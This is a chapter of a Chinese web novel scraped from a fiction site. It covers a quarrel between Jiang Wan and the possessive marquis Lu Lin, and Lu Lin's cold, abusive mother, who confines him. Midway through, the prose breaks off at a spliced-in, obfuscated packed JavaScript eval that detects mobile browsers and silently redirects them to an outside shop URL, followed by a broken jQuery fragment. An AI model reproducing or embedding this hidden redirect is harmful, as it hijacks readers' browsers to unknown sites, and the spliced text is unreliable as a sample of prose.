文趣网 > 都市小说 > 死遁后招赘到前夫怎么办 > 52. 留不住她
    又是这样。

    已经不止一次了。

    姜绾跌坐在地上,面色有些恍惚。

    轮椅车轱辘滚动的声音由远及近。

    楚卓从外面进来,看到室内的情况,倒是松了口气:“还好,至少没摔东西。”

    姜绾抬头,看到了楚卓。

    楚卓叹了口气,将她从地上扶起来:“姜大夫,你别介意,他那人就是那样的……”

    姜绾一语不发,坐回到餐桌边,沉默地继续用膳。

    室内有一瞬的死寂,僵滞的氛围并未因陆凛的离开而有所好转。

    姜绾只知道,再如何,也不能亏待自己的身子。

    可喂进口中的食物却味同嚼蜡,尝不出滋味。

    酱肉很香,粥也很稠软,小吊梨汤也很清甜。

    香甜的食物在口中迸发出鲜香的滋味。

    姜绾却抑制不住地觉得委屈和难过,眼泪绷不住啪嗒啪嗒往下掉。

    楚卓心疼坏了,仿佛受欺负的是自己亲妹子。

    但陆凛那边他又说不出什么责备的话来。

    他比任何人都清楚陆凛的脾性。

    方才那样盛怒的状况下,陆凛转身就走,将他踹进来安抚人,对姜绾而言已是最好的处理。

    陆凛性子阴鸷偏执,连他自己都不确定自己盛怒之下会做出什么事来。

    楚卓有些无奈地递了帕子过去:“侯爷待你是极好的,只是他惯来沉默,很多话不爱解释。”

    “但你相信我,侯爷并非全然不讲道理之人,他心思深,行为处世有自己的章程,只是不讲,咱们都看不明白。”

    姜绾还是不理他,只是一味低头吃饭。

    楚卓有些尴尬,脑子飞速转动着想着要说点什么。

    “侯爷是军中善战者,以一敌百、以智破计、揣度人心,无往不利。”

    楚卓抿着唇,目光悠远,回忆起了从前。

    突厥人强占大盛北境十三城,四十五年之久。

    是陆凛带着三万大军北上,与突厥数十万大军对阵。

    十三城早被占领已久,想要区分其中本国百姓与突厥百姓几乎难如登天。

    他数次收服城池,征召新兵,扩充队伍,才渐渐在北境筑起一道严固防线。

    但这道防线里,到底渗入了多少突厥百姓和内奸,只有他们自己知道。

    以陆凛为首,五名副使在内,不知遭“自己人”背刺捅刀过多少次。

    但再艰难,陆凛也带着他们熬过来了。

    盛京皇祠宗庙中便有他的一座功绩碑。

    陆氏皇室,有此碑者,不过一指可数。

    陆凛实在是个极为出色的军事家,诚然他本人性格上实在缺点太多,但不能否认,他的能力与建树。

    北境城的百姓惧他怕他,也并非真是因他作风如何。

    一切都不过是他向皇帝表忠心所做的障眼法罢了。

    北境百姓只有厌恶他,皇帝才能对他放心。

    楚卓将这些掰开了讲给她听。

    姜绾只低着头吃饭,最后一块肉咽下后,她擦了擦嘴,抬眸:“军师说完了?”

    楚卓没想到她会这样无动于衷:“……说完了。”

    姜绾:“你说的这些,跟我有什么关系吗?”

    楚卓有点尴尬:“……不是,我就是想跟你说一下,其实侯爷他人挺好的,就是感情上有点迟钝,他可能并不清楚要怎么与你相处,所以才……”

    姜绾面无表情:“他想打杀哪个下属是他的自由,我不该干涉的,他想拿我当个没有自我的玩偶拴在他裤腰带上也是他的自由,我不该反抗的,军师大人请回吧,您的意思我明白了。”

    楚卓愣了下,好半天才反应过来:“原来你们是因为李都尉那件事在生气?”

    姜绾收拾的动作微顿。

    说是,也不尽然。

    她只是很讨厌陆凛那副全然不尊重她意愿的态度,仿佛她是他养的傀儡娃娃,只能供他摆布,任由他玩乐。

    楚卓一拍脑门:“我的姜大夫,你这可误会大了!”

    “侯爷惩罚李都尉,说来也并不全然是因为吃醋,那夜铁头跟着你们进了小树林,瞧见了李都尉对你动了贪念,吓退他以后,铁头就去找了陆凛,这才有了后面这些事情……”

    姜绾愣住:“怎么会?李都尉如此老实的人……”

    楚卓摇摇头:“姜大夫你年纪还太小了,殊不知,越老实的男人,越禁不住诱惑,日后你真该警醒些,莫要再轻易与男人夜中独处了,尤其是军营之中那些尚未娶妻的毛头小子。”

    “这也怪他自己,长了嘴光用来吃饭了。”

    想到这儿,他又有些不忍,望向姜绾:“不过,姜大夫你如今负责赵氏的病情,侯爷和她的情况,你大概也明白一些。”

    “侯爷自小养成的性子,轻易不会与人解释自己的行为,也从没有人教过他如何与人相处沟通,一时半会让他去学,确实有些困难。”

    姜绾抿了抿唇,“那他还不让我去授课呢,总归他就是不尊重我……”

    楚卓深以为然地点头:“这点确实该骂他,回头我便帮你骂他!”

    “那么大的个子那么小点肚量,妇人的醋也吃,支持你给他摆脸色!就该治治他!”

    “一天天的,没嘴的破葫芦他还气上了!”

    姜绾脸色总算好看了些。

    *

    二楼阁楼中。

    陆凛坐在床边给赵夫人喂药。

    赵氏瞥见他手背上的伤痕,嗤笑出声:“活该,她怎么没咬死你个畜生呢?”

    陆凛:“绾绾自是不忍。”

    窗外夕阳西下,房间里最后一点金色余晖燃尽,幽蓝昏暗的色调从房间四个角落里蔓延出来。

    撤掉那些密不透风的纱帘后,房间已经清爽了许多。

    赵氏幽冷怪异的声音在室内沉沉响起:“我说过一千遍一万遍,你留不住她。陆凛,感情就像人心,不是你用钱收买,便能属于你。”

    “或许在权力与身份上,你高高在上,风光无限,可在感情上,你与路边的乞丐残疾有何区别?”

    陆凛沉默片刻,喂她喝完药,又伺候着她躺下,替她掖好薄被。

    赵氏静静躺着,疤痕交错的脸上瞧不出任何情绪:“就像你囚禁着我,强行将我留在你身边,想要从我身上得到某些东西一样。”

    “都是徒劳。”

    陆凛起身拿了火折子,将房间各个角落的灯盏点上。

    他重新坐回床边,静默不语。

    烛火将他的影子拉长,放大,密不透风地盖住了床帐内的狭窄空间。

    赵氏平静地望着他,又忽然生出几分讥笑来:“真是蠢货一个,有什么可难过的?”

    “不被人喜欢,对你来说也不算什么稀罕事儿吧?”

    “放眼整个北境,也不会有好人家愿意将姑娘送到你跟前来。”

    话音刚落,陆凛的眼睫便跟着颤了颤。

    他记得,姜绾也说过类似的话。

    “母亲,待在我身边,便如此难受吗?”他忽然开口,嗓音哑然,漆黑的眸中难得露出些稚气的疑惑。

    仿佛一瞬又变成了那个十岁的稚童,无力,无措,面对困境不知如何自处。

    赵氏幽深的视线凝在他眉眼间,有一瞬晃神。

    到底是亲兄弟,眉眼总有相似之处。

    她的晏儿若是还活着,约莫也该有这么大了……

    赵氏收回目光,语气森然:“从前是挺恶心的,不过如今隔三差五便能瞧见你这副如丧家犬般被情爱所伤的蠢样,倒也挺有趣。”

    陆凛绷紧的后背塌陷,伏低了身体,枕在赵氏手臂上。

    赵氏手臂僵住,而后抽回袖子,往床里侧挪了挪。

    陆凛维持着趴在床边的姿势没动:“母亲,我以为她心悦我的……”

    “我待她好,护她如明珠,可她反倒避我如蛇蝎。”

    “我不明白。”

    “母亲,我实在不明白……”

    他像幼时那样,碰到不懂的问题,总是下意识来寻母亲。

    赵氏抿着唇不说话,目光落在趴在床边的脑袋上。

    她的儿子,自降生起,便有着一头极为柔软细腻的头发。

    人家说,若是孩子头发细软,那便是个天生温和柔软的心肠。

    她和相公因此厌恶他,为了扭转他那副柔软的骨性,自小不知对他多严苛。

    自他出生起,便轻易不让人抱他。

    饮食有节,行动有序。

    也许是他天性敏感,知晓他的父母对他没多

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621616|202680||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    少感情,于是自幼时他便极少哭闹。

    少喂了没吃饱,多喂了撑到吐,他都不哭不闹,格外听话。

    仿佛天生便会看人脸色似的。

    这也使得她与他父亲越发厌恶他的性子。

    陆家的孩子,天生就不该看人脸色,不该如此温和柔弱。

    四岁时,他拿着断了绳的安魂鼓玩具来寻她,求她帮忙看看。

    她第一次给了他一巴掌。

    不到膝盖高点的孩子,被一巴掌扇得狠摔在地上,第一反应不是哭,而是扭头看她的脸色。

    见她目露凶光和厌恶,便立时咬住了唇,止住了哭声,不敢再发出一丁点声音。

    她以为,他该吃足了教训,再也不会因着一点困惑和不解来寻她求助。

    赵氏盯着趴在手边的那颗脑袋,眼神有些复杂。

    夜色如水荡漾开……

    *

    “这水位太高了!在这修堤坝可不是易事!”工匠摆摆手,叫嚷起来。

    “我觉得,还是寻一处低洼空地修筑水坝为佳!”

    “还是在上游先截断河流,待此处水位下降了,再筑水坝!”

    “引水灌田不是小事,可不能如此马虎!”

    “谁马虎了?”

    三四个图纸师父吵着吵着动起手来。

    楚卓很是头疼,摆手:“行了!都安静些!侯爷还在呢,我看你们都不想活命了?此事争论两个月都还没结果,眼看马上八月,难不成还要挨到年底不成?”

    几个图师听到陆凛的名头,才老实安分下来。

    陆凛盯着河流,不知在想什么。

    最终他们也没能吵出个所以然来。

    陆凛一锤定音:“在上游拦截水位,七日后集结人手,开始动工。”

    众人俯首:“是!”

    回到军机营,四周很是安静,除了门口看守的人,几乎看不到打闹的人。

    从前营中热闹,没有战事时,到处都有士卒在训练。

    如今遣散半数人,又要抽调一支队伍去修水坝,一支队伍修筑边防城墙。

    营中所剩之人寥寥无几,格外空旷安静,连脚步碎声都少了许多。

    姜绾就是在这样的环境里,坐在主帐门口晒太阳发呆。

    一片空寂萧索的大营里,她是唯一那抹亮色。

    像是在他营帐门口发芽的一簇小绿苗。

    只是不如从前生机勃勃,有些蔫蔫儿地耷拉着,没精打采,格外可怜。

    两边各站着个护卫,寸步不离地跟着她。

    既不许她离开军营,也不许营中其他男子离她太近。

    宽大的营帐和两边高大威武的男人将她衬得小小一丁点瘦弱的人。

    陆凛抿了抿唇。

    他的绾绾实在娇弱又纤细,即便日日用牛羊肉和上等吃食精细喂着,也养不壮。

    像是无时无刻都在提醒他,她是不属于北境的娇花,永远无法在北境的土壤里生根发芽。

    他垂眸靠近,掩下眸中复杂意味。

    “怎么一个人在这待着?”陆凛摸了摸她的脸。

    这是两人吵架后第一次见面。

    陆凛将营帐留给她,搬去军机营留宿已有数日。

    整个大营都知道他们拌嘴,侯爷还被赶出大帐。

    姜绾轻哼一声,躲开他的触碰:“兄长派人盯着我,不许我与旁人接近,我不一个人待着晒晒太阳,还能去哪儿?”

    陆凛本想直接带她走,又回想起楚卓说的,要会解释。

    他抿了抿唇,颇有些不自然:“我……这几日有些忙,看顾不到你,怕你遇险,只能让他们守着。”

    姜绾心念微动,还绷着脸。

    陆凛见她还不说话,便拉着她的手将人扶起来:“他们说你想入城逛逛,今日我有空,去吗?”

    姜绾抿了抿唇,隔了这么多日,她早就不气了,只是两人几日没碰面,她觉得有些别扭。

    但北境城她也确实是要去的,于是乖乖任他拉着走,也不反抗。

    当初册封她为诰命夫人时,皇帝赐下来不少金首饰。

    她想把那些东西全熔了换成银票。

    其他家当也都换成银票,托付给崔娘子。

    只要能托付出去,她便有法子在重生后拿回来。